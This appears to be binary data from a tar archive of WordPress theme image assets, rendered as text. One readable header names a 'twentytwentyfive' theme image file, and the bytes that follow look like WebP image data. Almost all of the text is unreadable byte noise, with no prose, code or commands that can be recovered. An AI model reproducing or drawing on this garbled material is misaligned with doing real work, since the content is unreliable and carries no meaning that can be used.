bh0l+nۈK@YD`Gݬ,jS('Q|~٢Y\O2lp6VyĊ4c(W%%~U~(_0-xicz CzO{hΆцaS ,~^<%ax+XHE 8uV*s]ӖncGr2 Wd a!dy {C:1@<3>}ƶ800(ل?:jyF.Ի+eۮ"Q龘^>Рw1Gih[ uG Q$y >뾂o^c0UO"4= (0n9A査'و~WMnO7љ/vgN~1P$OΡ`yCuz6W$gOF⍧kwߴ41L_߸ی$d[ϾleT]5pRKH@|fkd{*1_CH*۰Q Xm0 ԰ ĕ oCRRvE`b i JuB6ΨD` KP`ggWJB^q' tmmOxgaJ#4WIژ :`wz*  jӠٻN\{, kf]=[d0d\o$)Xk /b NЃCg7U0xkۇ-#we|rįc!S/:{|:Z- mde4Έ3+QP5U:4 o8[j⁚F/ۓ0 Z~ZE>=ѐ+;wj X6?x88ci3Ӂ<}FcÁPCjV*PdR:zIϷd 曷,ep&i}fpxى%jB%mH2О`CL/vY$-d' }ĕFyNy\dgl#qxTVm !5-=nbGh4r:Cs(*9*2Q3 e/B8ίF7vs,]/Ǹ]{w÷FTG…zo  S%dKsʊs*nM7еh{`)GHzi))f#:QJf)9KL]tKB ,! ej(m{Q-{'+~g8OmT*sgӡ!RpO%Jn#Sƴ$3k!9?ot}L@JުW۶ nC!S֣ưݤUcxA9gӳ,"hx+Uf%A..U`aZ|F g.kBcgRƗ9/\r^6ز˸@ڄrpnǐ^A"1r"E8Ia-SVo7ֹ%v?']Z wĪd073d&{c{}=9.˺oH #H 4ù 3S9]0B!i%q "YNmuu.f{֥SrmRr3neuqĥ}: Y4\-y_=5Y^sκn>O@9$8 ɱk~M^4pr:͙%hő..8,x, =0Ol1_ J$h8#Ł[BD h㷍?gQu@O|}n%1nu~^sκ>O6fߛuX.];>[q, wke8űzP$Sir,RPBq u,7-\k̀NT mNN~! +UOq_`hG6ziiFi? ΃NnISQ;VY$'׆Y8n 7j  q=6`ܨ9 gGbUȒ¬/ك~e ]5ց{P]+V5W4ae?)zwqw >M̉ى}6(1eQѬ'O.|sI$W&..-݋i>ӗ )ʖR@U:b^`0[ ^r)򛚢kN[4!~i32ȥ"Ŋ@!'ssZ&x b%731}$XCnh6{l)d]=GX' ` 并t8i4Xn#ozڗPS}"+T6[G$FDkA Kpzᰊ$rTLL; y yKh{OYsuܫa$*0U˦2֏?nF9Zܝ{]+>phRvfɭ|=ÚX䨻) 7EGќ ͔v^9)L)V_&ѐRnmC0lq7<gDIt?DqfoHp%8J -4UjPǵOG5[T#2dR`7#3]>]+>oL"=`} ے]ڵ(C_؊ESBA)6Vt7-&4!'!I'Hwm!N2OIB:w^Q"E?ktĸRHa *K.(`{ڗ3%)|wb*} Nag%"S8A^Y[W驱xHy|c+!?vnD¼Դ㿠KpT'WQ.$-c5B)ۜZ_e<貖QW {<ީ$j,hRpDOo[KUG:L(sG \K r&3,h1x.U98=K:yVr ]LAЪLD澘)h:kF&1-<P§_)鑊C8VmЮJwgspt(F,JoBnҪ:ikh|!jR.wg!X;AQ E }kGOm37#* I$:fpuк?-HixMDrczmĒ0lI_CNCm}ƥ#}lzXTC;n iWkΏi jJ[ y(87s_ufɋ'CDi+HRRbR߲J'Qv಑JL-Z xwэ ns7ɣ_>0zl'ٹDNJFJhSǛ!Xʅ낢Ԕ1~Z_DsMA+L) nAaG/Ge`1y0?}~Q@H_JzX S:Yjjˊ5X-Y!B3tT;ezԴΌg5#t^Cb{ ڻƕIQ8o*.| ~4yV{E-r,2r@TAf8s >%'HCnzO aro#*x!6 ݧ>Z(^Ͱx}9l狹Tmoq옎L͔mu9Y9XRbu!? UVTg!I 7'ߛ p*mkfm3JMbh"vNX@ AsC*&Cƨ-jtDyQ-Bof )?8pAQ6BS%U=VgX_YO'm-C9ٖ&FP(SV }p'h2/ߵ{M Wթ2=H_=˻:*jon.idY \tNAk"졽 ?+UъL|e,0o8dS96;8R1xEY;^7gz\y9Ob6Fl]|_d Uo:_,oYC |>%1hFUÍ4M9M t8_X\ffmwM-5 Sliջ`s|YI"8_w)ޯe؈TbMދ Yez$h\##|ΩVKMP@/Im(K. 13tY3ޘ1ZUswRӚͥ9RkU_ r`Hwk%(O6 ,Y?k4X fO6+8 -Sӵ:Ð:a%^V}¡k0Š7Kf.5Mꄅ}}0TC;ObawQIwq ! @( :"Ǯ{AJE4  Z4wҢ.;֕jPwi 3/srz8BD6(_GEtnoҼZY}o.+-!Hf?ѐbW۠]^]IP ߞ KĂ٠H@|epT$Mxq&Hn敠PгRclD@ DGM҄xNqQ$?VF >WyӤc.T:ȯ=[-3_/զ9NJpZ#57u|U:! |{|l8R=7 m>QgF@N,BgrlCWh X\ >"UnoO2ܜ1+ .N97^]!McfLL3^ X+8F3'Vh+ڢbV~ã=.=OӷŴ m.8DK?0V>4̫{I<:IUdUop ef-Ĉ 8-⭨Մ;[H\K_SG15iumβbx$ nyhn [`:L-s 1aޯ*ڤfm|\Į],I d q1yW? y*7!_5 BW_Xn"cOQVB>.DWRcyYAC^6XfqR="^>㐟&|Ek?,o [ŧ`? t@MBơtjh{_rCGx}|2h_crWgۛL# cu fObP4 ZHWtAIi7$1vN:ic"ulG| ];YQsU9YvLkE`Mٰzxz5Mۜ4!$>|'s`HEchmKI9:ap($M @Q}׽>\P/{~[!05֛|/bq\ -  B'px3`؜}"6w=uW|1KEmWXy=wc#|N66h]3\~C0WWr0mUF^`BAGvPV8jn҂9vZps0o"JF&@as\*+,ؒ2^PCӾ bE>j0I;d08 =GAج OvzDŽ!tNEzQU>,%9 P6ӫ Shf}>ZL @VHn}`-b< Zl0.\~o(CȏuԧvV2p'bq/)vx\>iIf/fL.N[R)KqŶ赼"E@*WSdYrИgJ}Uy,IȈtrQB^wT#l?q=I+@O, "zNY4:zxg;QJ%@EMЧ~5+:5Aj.& o\ 5h3Ow'LJ|%yB^f d0_fj.@9wi?> cLWeΆL%&jle{0H¹Lݽ ^qWetW0 SH<^X3%xe5k71(D?T[|E'2?:0#-^`  _&feB'Ny4P-yu&ȧA¦L2= lf߃ r}iM`~ZD3*{^HO_YwomK1VQA [ܯŹZ?D~U{<8P~M9k8%Ksr{RaZV/v3d39P]}@Kf*eP ZбvBbnJ Gŭ? dĻ?9,ֶ TJ= ٠mJhɐRvtcWIta@MXmn%7%e[+a *?oM"m)̰e6gBEUPRp`#v A>g=GHV$W(ԡ& xz46akPQQI·hva;~rV+%HzJ&QӂiK,sӺ${ b"%Gb?B#w84aE=phAKs &p{ {%õ\&16QGyu[{aLE5< 'sT#S~Ώ9;V㙀8Ʊ#kE@5gklוVYe 7õ(85}!&FI-C^] ؚUݗ) ϐ6 P<Âj`7Py/5E|o;A$ |&9 j2w`#a'pYX"7?;čOGc*v+"m[E.^-</DT-5r} >džc =<nT,:/v|hJ2AbX5n&[{eDdAuHwԴx-a$aDKmR /zTF|4['jJL%{?f5XT+lgE=*4i V'^ձ8j7\u p -9㟄ϑhec&mEiPiE׽'ĘN|O$%11[4>9;I`jVVJjf&'2 ZۜlRw<,{ί]0qQX)n.˝C,b̦R 'շV@'~b# ߆'#[lؠg,2|QO#s:x cM8 ϕn)Jo_: @0?Y v ٽԟr(!`"m*A=+"#NӒ='L!Iv;a0pOUDAuǷ(Ճ$ ouKs ;ߚ72TDNOW5V<*,ZnV4ױ\aLZ楒fs;V|AS'IUb[ 3:(Ew{:/& _Qb >LPβKT-4VVuj4*hfc!n F(aGLoIJp!zE7ѣ7Fb`1J̽d[blO~R{V%mK5ߚu Gq[jN&G<k;2 j8# s#Wi`mJV1$܎p{X9D;,'P+XY$>A+2{;P'uqp4p$} RV,cQ~`==kJ*.Q^Y)f%,Eruɉ!LVک3Lj?ĂO+D3&»[{>$/qRy] YZxδKܫFpA0XsNj s-$6aaܿZx<@=D&3'yо|ۘԵ fM0y5>V$8j|aEPtٌe>i, uuQ4"X8 XEƞ$q )J df*(6P@lcDwMwueڛ$YACŒ_ao=y]pOIƤR9m7";j 6́S">p6vWPFqv. Z1;aC-E|8rkh6mZ1wV!Nc2v8g?JATQ} ŗ  ”}v}r%Ƨu@|ٷQ+; $čFcРr,-Hwm bܔ9CWB;7c) N=(,%s- .F&UT??Vcgǭ*Bg5e=2̲BKTTU)%Z|9?_E; ЎVChӝUAZ*Jsќ s,I+uǧrasm*8kn f;ڄp  c^xQ"k춁vsBe gtT<ݵt#@gB8X;נZU zc9Jạt獓Y9E`zr767jR5X&G>ZEN*3IvQWzV;-.#;QAȆ7!ķHJb{ ["ُS)? {7Ɩ3U'6wV_NibޒB^&]1OB`w^:c9j@ wu,4Klg8'rPAWLWwFs.tZ'2-Q` qAe"Ėpn +L#=w/4^N}W"\v %#Xs_wV(x0vAfIP/~},V%2L4'x̨EvmRQ$M/6ix k"2~`.hʮK`ٱ~OZ<>G$|6~򦃵&7bP RpZ b74 (ԇw|so4+ _ À @v uyݿ"Wkf*Vwd 3r49чZs}APۚzQ|Smi(Rf+EksƮڑ;f-dp,15DZR[8d4>@ Wڶy) >H {`#;ińF kG'Gl,6#C#-MD9lB:x謾~NZf%sԊfE-]Hf:PZL(]I!^G |Oj7d7i@­ iQAj;PReN^+4"=,wV\['sy+=+Q‹ia}3 '$s]Ŋ[;v%a8vH2"$穅(WP!Imѥ$s"b[1m3cK"vs"UyXŞ8ZS<)du@1>5MB_l H]\ZۃG,oN./87fK+,Z£]UTB r~_zՄ @{aj Nv{yܟtܸM‡f}@>Uai& 酪6*G*T֘2)* @XFAYfyp,ᑒ^F+e_R^jSɶ˯.ĤQ~%_Q )sON_a۲vF,9w5T,A3~LN}*u#] Q7>YUP]sqygbϠbWSXb-P]|Fd<^`;7ʛI-6j!\t5Rxpr_Ƽ }"N/#h`p!ZA( 6F%> C:\ 4LCR9-Z ɲhr)yҖ"$՜'˿ kGʜ.,B(Q;cXrޛO@%r{vqz=^n~^UBo+iy܉X1o\o ]h؟P%T7nRis55$BT&5^oT- Q9ڐSbC+[тP4H\𐙷"/(1g!_RTV Tf>Ot7pg31{)GA%6K?ɀ$"Bg-R+fhqbs"}Z Wzmʅ(n;sPydL,,ZVySEflNdY} OXp¬HS1$ a(ig !%A$Ѧ*nK|dOF ĥE A &(?fkS0DiLAaw?/t̂'pP&v |R@4&}59dʎ`:<?!POl?5weq4L/ fb"R.;BꃻKJ3K½/⶚*t]m,]R5}r(ZS1fe{gkIk*g8< ףTx}f;3  xP $h.Q.#zHQX^y&C{ሽń}̑ڒ [_4Эm?f"lr$+!MgMHJiqA9dI2b[?6 Ϳu3Aˁ'N6Lhl g|8fLQ3N=F8=a-Ƶݎyнs=X4D\Z~UD{ /4c0" C ]1+0Ӛfv6ŢMtl+-]GS??nb#CN`w-2.AV:ƷhAh Ay] P1Yֱ$[n &:+3s*{r`zߤBCF2khU'uM6+]dP"_fUxAP +fp >T!Z„ObTkWeŭ0)IJk2wf@97<xtg *HU![8!aHA(=Vގ~X\ Mxu Hd&bH`eCч# \Mg >uԏV3-Et*s sA:N 2wRn\VYKe.dB1LXGP&{f2ΏTN:ry[tХ+EnSVS ׫,n <]6a E^uz.º(^ss2-JiC%#m5ޞ^5Ee ٹ!b,KЪm$5 ѶCrV0p"!<9My_G:pe d17<'on;aT[.99P}Mx, Y.Z\3.1UȺ:Ƥ.}2PxZV܇ra[Ydc$8qMA_ӣ,W`r(ai%y`&FaQ9Y%q_`F]}OÜq4hܺGBAvPMyh^R :whq.||gxgMCg_+M9V?GOϠe6tBywkhiQ%%BT+t. 75<,[eZ5E[~8VOK9,5d· cex" fA|'FPW_:[ !εea~2"쯯M=oy^R3>YhVw_3q/30"YYF8уwz(_媂ꎾRΒ<9eh]]K *W\fs_T+-ڂD ; n(Xf-3lK4r STVwOۦ"Z7F!d&:X@ƐMj1o3m"T*ۃ9w)[\e vH,CX+1ڥnoOX,\d ʗ@&ABv)[kZP?HJV.ɮC5 }M,6Pr!4ƺr-ϥ ΋Tz8Rx]n<<*ˏRKéN&{Sxe@Ϊ~lv֩, VX.Xb7:*= JZV%"*@U+>תG.,Mn_PM?B>xAyaS4=gQuwn[7j0wa,`e mgT~3[WNd`pݺ8rruc<ܵ>HJ@GZ4t~jAfj5Qa:Üwżң+?sa{tzVi1wӢ}9* Eڪ ze`b b+-#\Jyၲ, ? j^w 2iKWgV36m޵L'C:o,/8;j=j9uژ#06Hk+O>Ϧ.NHR}&߄tb h[$~u}X<_+-<H_d.3,]QubvJY}&11N*xWmW4)5/xt+h5o[_B^/˧sm^]C~FF u4S[}AsQIGgG$r+Ān7!RhQYlJQ3yL1%RlCLz1xvPEr~MРt)@H[8}!6Z[J¤;CKdzrL}Ȣ FSgw&.[m:sQqHp1gV|vm_Rj)(s$ n~?Oz^72 ~=1m4;2 )d@H 6iBd#tq%lCU~sJXcet(i,{z@=o_)Q*>Nk{4_F^d;FH eRa,m8U_-c`0釀ȇ?f<ٺ n&ة  2Aa% ˀp^76:ah:}/>~/0NMZMaPP~=e!n@ȨLV%\SSUج9~&癶ggLi:h$B}ͻkwlP0~pi.H+rh [mG&s)[}ʑd&3fkЂ(gQ*5z&rnx*ȬV9ʞX&cC3E+vODQ*uSAL'g::jM E<~fGLh)4ؐ' [q').,@dx\\]KHZN"Sd(y*N&) I%0¡=W_fj9dU/gHmI{١5SYY.CZ➥ViMu O%^eXz !n⚅uk,ر[ xNLhۮ)B0' Y?F'rV& CS94%N!–dR K4tezkX>k8}~v!k]W;Aojuy$ ʭzD!ʱDӧL#H@N{˶YyW߭+c{yO0p4s+PSNS;6M{rid@>'@FqMߤ <=Ԡ] em;禕vU*s<{p{#TҐ{Ulk|I46ֳDͅ<;7u,!$g&IT^,6`2(`3zYxb¥|4mRK(-~'~Q+OhǣHXV]\[ׄ4p}l|p+}~?V:fVIL7ά/;'L%X@+sH0cɳgJ߼-|]~+'9xtM.lw$$Ik$*b (M5?kNi0!ЁySmXAIߥM V}iN$b0KQ[NKbeShhKXcl?;3f?|f竒"GQPY'gz\-:e"zGÐB= jg9x؛$Xqze6/%[71߇8^}  ;d e}sEnbr<$Qr"_ŤbyU %>g$C4zPU(-KTR7_Eh]JL9xꊊ|ai\(ii쉌B 2/KLgD Үaw ?G}Xt_!{[݀r#=xGZV|;x^b-K3,)XFM`> 0`\/7{<d>B `%0bI8WY7ڝlRD;+|fnB/Fh7g0@!ΐIQ.֠g򠱻rCw*!́R饳Yo>gxnS[6kdg!aH>]׃I 9!/Ry3GVߩ%TK" Hx.:u|5K&QL |0<颢.2[2;XU v4"ء$ӖjIsv| {R*smPAc><cʩd`5נ} ۉ\&Fy5%U>&: h~UfO LVgrs^-]5O&揝Bj­|V4Z!sws>_K?vz02JOz<Ćodv6-b9ɵp<]5u"3~ZE`+ &C\oW:p$ ,/c_Z$)v+TV'F/!`rm7{5=\hfdCQA8^eY6*|#cL~R6iL:&Mu`}U5sLtkY?7G>WNIa!(o¾T1 : E/)8؂gs\f@o*e jUei>ܐf[T38AxiMԚյ,f2g(2^WxgMB^9<vʂf[-C}f8~)*9pi(]$ wQ>D۵f F4丐?~7;Blr42bˌvͷ!v?fa )F1G;a"]9@>YfeHՇVXK(󎜃3 >lyTdPFtnCNz|={ׯќC 3 w$K)=+()ygɭWE\W>iSd]ƶɝd4e3΀3 jwTPJJp؝Ӫku\w}]Pt,_W7|3Ga̮p~ywHك_5N FYdW :~n *GoVJ2D&aOFƪ"^*u.SV1EbEG],6Q۲&2Դ ;eypW;#x:Xw֞v0İ9Gq8? 4N@AuTUsS%г8-3O>aX7꓁2FMN"q@atZ Gl0eeJ܄f_܄PX.gmkF]vxzVGC^US 3%zH;M_ʘ7vTӑL^8c9 T~.֚}@<+,M+DhH_[LŪZoq?B }p/2\/V0~$E|`нW9Ƌ.2@C jn5@DT@`$H'}t4Tpb}=s0ȉ1/<%~ޖ/wOvX{e&!,Yf"C/,/1: 4R8}f!c?-Ru|h j 6ʠ#'Ű<,عP*wq7hފTç.ʤBS:e t dºk钿}Grqqc :r;2.,e6Ldל YN7gd>ٹiZ!Ѽ-fh;@࿝}#%Dcw/$q®bE9ޣ'؀q׭03~p+ھ^E$ӅE<-1!Bu$H~h8 eO/#Q1",hAOŬ_ LۨP2G$,b4rMPnCUˠW<(fa\ kXy=+sH_;DOc"`)D& q֘7k|g]O걮ëϓd 0z) Oɑr[|8Qfta|O{&9t)\gqIK1!$X5 6vZ {+ԃ~x4pf4we%MG]>!0lAӂ <=WXr7" OJYOI9jZ@  ? ݉l/$y|qRb\;v_ v`;g <(-WJB-=3&%H{d%5ή[aaǒ/|k8'mZ+\jK {iGdgȿc6vZ9)G|j |4hDa\zM3؋'P9uL}4<GBzPy/hUd3>*㏮n=o]S鐩X@ ^L|ɫig9MU;<%JnmK H3VsC~Yh1nK#Fۿ%W! &)p}WT񝉎 VƐH۸\Si3_ F.˷c {"OXFVU|4̼&;"M) Gt|\).Ѵ`{-3BAjg YDcIF=BpC9U?ɶ$JooXnӣ ׋:p c%NNOpP"InB i!S9QYlI~$PPUu| }/ +Y'LtJ!ZH!-; CVD?.Z[ĘH98ĘVٍ0`f,>7Æ ?򫰝*+qTgDĦQG~龛A>S1o o e"eVS))a$OY`mṭ[Lއ<|xxB15VP+}Vu P_20:ȏfT{;>9GĮkۺADr91S(wtRGxAi\f]$jm TwN+U}?p(S mi*ͬC |₆f>~a44aHSlN#$KlS`{̈ \C )VˎpboJZD8⹤7f5nv@}j氚sSACn+5aYx1y;0(q:ѕx,4I&1m# %^T)u)C^DZyũ!y!R8qEJ<Ҋ;9F66@,sxRƽ0fXRq ÔXz5g{o^hHPBiy xC?h#~҈sktA~Q$ztYЭi͸ٻr UN3xm0ēj yI8VV 6@øMʏΩH(+>^)fh_yH`xv}ݲB $ q!$TtCa-"1eOx^%ʌQFOo7cau$%+2fNkrKY݀$# 55Ǯ4R˨.us, !G`YBb8MJؖS <JFvI'k;yR<(ǓqCYJ\"9 8Yvo5Keu](T==^-*$)ڔWd6c.Ltِ3,⇐V4bPpO#g ҡxiEDߟH7Wpo$9(8R܄e2{L7jG|"#=כ>a !ESK*c7x`Ү f3em1EJ^P⺿p}8Bd D{{H.w1D zzaׁ欐!*`AOZk_?u(ݕ冔L å 1f~It` Qȳ's_+bOu0Y%/z-mO"6~=,.UD>΀g1$<iC"wnJ_cMц9R'2ipY( @ur_3usYf{K5s]ݻ.d^pFg6ZPfkcol @ O"VKq4݁$ԥ@G]0P.龫C;)wuݍ E3Sw10~b&k pvj:c[e (@D5F 3A/7҈vE!Y:V2aX'z2iH$ؑYLxVוQvٻJvJe\8"5gv_蝉| *BAn=-/*状TL?*dFpcT{*] ҫaܥDFw_bMc5`@Y5ŏCf5}[nes ܜС&0`ktAYvobPME~b˜d%L":QG}m[ϴZ+k9{cmyE) EYƶDRzça=cFU/n̿5O|Z L/m`|7Vq}lj~7W #%themes/twentytwentyfive/assets/images/flower-meadow-square.webp000064400000072340152335264760021227 0ustar00RIFFtWEBPVP8 t*RR>@H%&# M"%lBn/|(~W# pGC/OI\Z<c_'gy|w~/>z7-)ql~Ȣ')OwJ#»0~l"6u4̜V/x [tlk7yI_s߅]pcP{@ӑn쏈ѽt. XͤzFDn7 ND !*RN.޿9"7;:~N7>r~V`u- "w/&b_-W%T6ǫ2c;Ap7 VS U t*O1iKrN4|ٙGr;'>%^A;`9L5_ՍAH  '1uyzw>6pЉ-ti0".y8؜fEX^zHI@X(PFRI; = D9jGKJr6Pov ?􆙜la_ZrŔV~7Ҵ +gzZݟ~R(~ fڔW\nR,JT D 5 #9 (ros0@uRL@m86R{rNr  l;,i"{/I` }f.Hz՘: ny;0%Tٕ\Di_뎜žȦHpH?0m%Ub2bXJa=ZV`Eg_W]߽lU~8 .²6h5TurR`vOe}QRcK{!fg{e}'P!6=`l{2#nUč--@IMj _"k^,Ad9q|$#br狉hiHԦHdގ[ϳ\iQ*.A0/Wz] {:#ꭳtMb!~6JEsjf2~+(hkct68.73iFڸ"`LݖϝC?'~jdjfM|2ZGȱ؋7N[Np*Ѕֿ',t93m^gnS%R$+)2*wb.,Ky`Q@l{ zWjYI%| L+A;O<mL,\[ve\7qh NdB\^Px IzYQ$-P%c n[1R7DtE҈O'y E89Sve07ڏI, Wxz5zsge"; .젠Z:= iktR򺙿?ֺu{k2JVVx <[?<{]S[c޳'K6\!`Ϸ%pCs=;LMcf<'ԽCEf`$3bRIsK)3WdO21lup4/Z/IaN:j5w4,-CJp.3ڿ0=i2O8pG/_σ\F9yGyc'Af΍=Ueך=LsT(7jxMIS`o_AC&ϺPOEJ[ ٭yq[/`a`y;3mT|ZR;yy8GK@=ۡB14AdY462N lFJ~rC/<9IN!U2E:rsp&<F0A"}:Ma633 ^C1~ @3lS52$} F[vؾ?kDpfhKY2k`6I?mg  pY` ؆ ) ɢش縨!|kî㶶^$PTSJCL3}AK`ȣ,S=2UɾV4ԫ]w숏IdRH_ILW\T~e {08/ <Ѵ]榗V?RgBY@ mgû9_:B9ϙk< PchZwE,B4>]*BejQm`wZ lw ZrfQvW!;R|! ޞ8Us=Ҙ 6 g܇( jz(!q\qǒ1G_ȔLgp gP\'sH!*egz 9s)YcOsKhތ]5a+$ `j->TQp+MjHlD~D7АW)8mw@EY hQsãyC)0l?.j<\gj^? a7)[0Q `OI ݙںps3# KmB󜓀RJ^+vr(Bs ]&MsVʼn}r&Ͱ%Qud;4@FF =oY- $J])-d'DazQkconmyg_J.D0ȟzJ\Dp̴_^fj=ګxou` 3${ؐ0c$bmi .FG=M$*p#e2./)^a jJ➌dօe׭?N~NأRk":h}w AVsQ n u2 .3}=iňș"M{?;6o yzW$ uR߁FxQ  0/A/8胖 MtoL#)ĨZ JERvË0vKnz>]/M CE3iړ.A(CT8Iq s[ a7ǝf·D!£۽ ($/4%M&4-fE/6][!XC7aCs?({nj1Mۘo\+mD,LM,f AF_i<`g CBemV<-DŽmQL.2W l޸tnqIkzz|mH:8O\wP N4LpH$q٨w0 H*fS|k3H0THS]Rn6 etθis7ɪ u*hiowR@Rʋc6yAHqE?skdpRco]-hO*W PߢS~< l.PD0G0K1 j\kC Bd֎4VcUkU|01$KM#mn~d#QfVL/x [>g11?zok!vRnl׽2e0q s/ӫyỳ1K 49Q{xW([@/H٫LE)G>aov0",L#WA6؞ڃ0rϻΟȎXRFA_mEs|yw+"7XDeQW2!eHkl&IoLU?JWqѻvi$0b]uMpZɒoW =m1dѫy#a0Z=87h3.-Q؁\cPzN =,~Jj_$B|BsKBA~r;lCN, m$N3Mn-#:zd7* $p*SB+&Q.urq{:UңX*#~E>ITNe#Mgਣ/[L~terPR~g}5o@Y]F}^0&↜m3ydLMt`O)3شpKbХdI*O?*y~*?1={%B# ${.GZdL鉁6ǴĆF5ݱ`YQ @vМΠ˕ Rm ! #ѸQ\QȈnsp,yRQ}w  h-]p5D/n-RQ( EJfI Ȍ4ծωy ;5`q31u/@:C 5_V:LAOH48wQpA-ph+eMzۍ+o _iamrS:LF"|TRe#s#4)P24D;M+%L`BTN Ϻ.+i\rOBIվNC2I]qP5z9{oMx&B G"^#yhvf"G)^ ń*C+f?Nry^>OIݦXMz9> }`}PE兾RMϏ*EnrL& 8yk>@Z?tʔHP-zΤTnrD!owdjqιA1ǿ̋vK7$Xd/C1<>D3wpVԪYVomK"f!N.%`AȐ'R_/FT7RLFDl|TY](hwPP֜9g-No1bDTLźMVM$z ٔ7ho#ۆ8|9JC]9NaI#k@3ET ǩXiuUw:fN o/(T+{(p[g q=oۙҴ+p?knR.R jɘB [x8oFղ+nU+2Do3KSt N±:zjQŵ1˜AcJ޷3ݟuQxF7K .@7ln wʝdπC*E=pNpdv4W9PEU=w,9xdSˆ;`@$SbnAK0$Ҭ`Vo/vZM6!SP7'p,΋B+$F>SKPN [-*pIkFw}=OKre;oՒvDt#1dv7.AٶإFuc⥻xhJ bX#h!T산Ca,?'Y(Dž:2h. 6:rT=8,9xHժKxr&ȝHplO)֎d_Ǩ܏f!o OՔOMs!e0@eM1C:)A=KfZ3@Ǻ0Eg\bE`@ )o2uu ׋Ő dЯ(i<}w|4.lv |!=u)VhAnUseUԿZ/}H4I1::;1NX3?uGZ3bZ&Y'6|1 <|]V@TI1'Hz zJci%](}{^#}VHv_*$?'}nFg!A`rhӚíO8@`q&}є,~@u| ?{kpWm\5B44<|],btǮ86 zBh3JOg~EV946-@=A;ʬ .KW _ E'KDoPlN{QF,L鹗"VAF&KA-}kco2h {mtgYJVS.6!D$ԐTQ*Z_ypP#[2fc$Q?#Ksѷ[w4JOrǮtR_O E9sfQp+ |qOEȽf';$]A;]Tƽ"1[MÀF^6^IS/!W yzzm]x5-W3$Ee_b>kPݲ*Z銓ͫTN7Wr`O#-:8hP$”2FJ+*)Ap13J๒!& 3'륚UwF3o셉0 գV'ǼP[߷ƍa84b(C<*]U˂~KiZC5>#夝-H%.fU1UiֆgqCVv?{o-@;WBHd7KH(wKIͰbg)91ە^ c"$qƞah7fkr! ^n:LIDh^>=.ب(^XPD(Lu%ᴦ&~ͩp?9+<-?_jvW!xLd\rp$p.E, BMWKrywSV,|٠2|H!y-<ƪ?:1i1uH׏Li_[<;lfT@jU-w>r:`&Qji(ۄ~fC]|^p3mՎdMXN7XD. Np/? [Nju KdDsz/->~yqjM)+$}U6q`^+w.аJmʃSƣј@wJzh,1BVj7fa'^QQr1>u9=w˓ʉ=Ɓ,t:deM<VƲ'Kyy$03ʁySk߂xERu*C[f}nuO:l/h)R/q_H 7<[]r "o1!Z9ڙ䦧@9Cꠅ ~ ? \*2DS0g"ͤC Ljd,˙aOhC M9Z*; TQi~ U{ }v-mZb78~$!fLg-R | vòenbb~D2B f~Ρ_[[(#obJcV~mNekd= GVIU"7ƴ˭tQ@b|xANRfo_)/:Z0RapѼ=oy1Pڣ ޼YF֟~([3!^%# m$g5Gl|W6i-'f 5{ J /$% [--ct+P(r]m ξZ Rj,2xm(bGSf\%MCx_d*Ҏ|K$Tq-Vͥ_VM_![.5-mo.MUFI?*pl#8IZJq$N6ģ1?٨s݆ϴu_US.mi*!cfRnбMeq#0&`Oaz7 `FX1zůnZN-gf;Y KCGKWw ݬndsdՇٯ㉒fH{oy'E qI,l'DȽZZ Tʡ\k{߼QI*:*:e"ʜ&^!'.תLklnKJ[jkdSO|_{Yۧ+wNWnW'\rvv+ ҃Xfn[@ Rdi5}q@@B=Jn\Z8Qݭ_;[X0xDRҚ&QCzV9*ݤm!Te=֞k|"1S7DJI:T74BM ސVvZy`ߤE?AvR@L˔%"J0b0/Mbh{QP}'~0$\3ŲJdJP#XV#kaa)\SèZE) !z0_7q #b&ԋwH5XS&f𡢨a}e6a7Ϥp1 ]g-ysTuۂ"qzA?rgo˭5ې7;˸K~ +)Cў|Lki$%vxHU&hE{ rj1l8u~/]w\u|PH-ݡjFA' R/Na#6+4 [yÙ+a~vH9.3ɁK!QCgЇTʺ)+utz|{S+'ipݯ >1 *1w< ("@o Nۅ P/ʏ0vTh(:K:JREQH*e(Jwk'Ebh}S,Dq#=j ̜yurL;N|On9v,wc.H6pSG.j\'#fI;TVzWZ7#ae4z lF@-5apTAȞͧyZI/N33d $KOGp`mz xوXc:-(~E 0Vfg;2VɛoAպ 24؃UQBB]0gW6{ Z/b MU[N T~hCJhg%2TyebzaZ?LDŽp(| VyB9-!Hu4($XB8㭃5b.4-#yApp[HHk 5$ϱ W@.ʺj) Y]e0>=PA(ǡb]q8Dɶ hqemV<ąw&!,U! 'F%y=)2ĉL-YÖ0:BDž n*'5A%@恌j_P8W=sccx6+64rJj.(frh:%bJdpf&+VIM6_zjȣ_:c0 [%!S6^*Ye!>7sxbGv%sR-ɿ\8ؽ;l0:F3{٫R/R=iGykCxжeJ>{hZa\Ā_Wf[SH=`}r0`C/C 43*R+E>5j~ Nob6:Rؠ-g}kF k2."Z}R$J kr̊s^P'*w鄣l{ u ,_c> };A"jK&7ivN~If O! C'I:R ȼ䟞҃3;P҂\,,fՓ:WKI٥`PVB%B'(bkr 85z1#'#*&FpG%?Xk[^x'z0-;1BxhY廜fzXB4s"hvBj̗YllAwf _DZ7A7i >5#Z:/GM9})@+U$o`4>{mP~lV=5LU=Q6daޗbD/qBb߸F ;S@ P !*o%2@fH}s uGS{S$4oD?9H"9#*_I8&ls7:;Z#s ǸýTS&8q3PlPy="AqW>iB< +WYuk׎Z6MofΈSŪm"I+^ g-Mr]d78_{1IAHqA@xINŞiu :[3HY ;b;WSǓUL.0K*}oFZ;]; Tx;Tk%9.2sC'sg r|NFxʵF3fʖ'4e~%dRS!,{ )g4`5z?c8xPzm/M2IJOW=J s*| H6TPurL͖Y7q܊[h8,Wbc.Mu,jwek1NP1c-WStNVP]>i a 0 5s9(/*z.It(Cx yK8C4iVM ƶ((ޔPEm +g6Z("J$^i항kN͒./HiSUlGZ l^.|EPFw4;#M0 b+?E~)s~ҁ@'SMѡ/a7yK3)ENnqÙaec@g݉.Jz^DɏL3Ev$6KrNlS_g*8U)nsqmҟw@"0QIx?<2dkaxIjBa64 |\k_Y][~R*a-,kItW ,f ~OkOBj{?n?Bu-x=ϑtuղL;d0dW|Fwbpǂ;4$dn:J Pp ` 3Asze>( I@-7z+<2^DGK3`I'[a\ç@L!svc.eHG(|y8TrA sBiMY1 tj$*^fck\D>+ؼ)s(MlW+tja\~io ڡ˅^hc%Ȩ2'TzA|vz|t׀@pOµvmZ1FzXpi&mXH{^&sK1BK;#f݃4ݐJW!6Dr2k#[y,I6juR%BA9G >'7iD~M6X֗n@ qN̝I/10M*U}덗؈7? vJ{>ɫMET8(g#Ab.ʣ2vG:[X :>g#z 3a T3oxO N O2l Ow-s/ӥG'HBpZٶ+M^F Qz0N6oP R !6bVNbTDi%JM2< |<, q`( p4ҫsMzp9ވf+g7;܆{֒D}G vL?Fю⡅tssG/@EhERׯ;_`W 5TQ 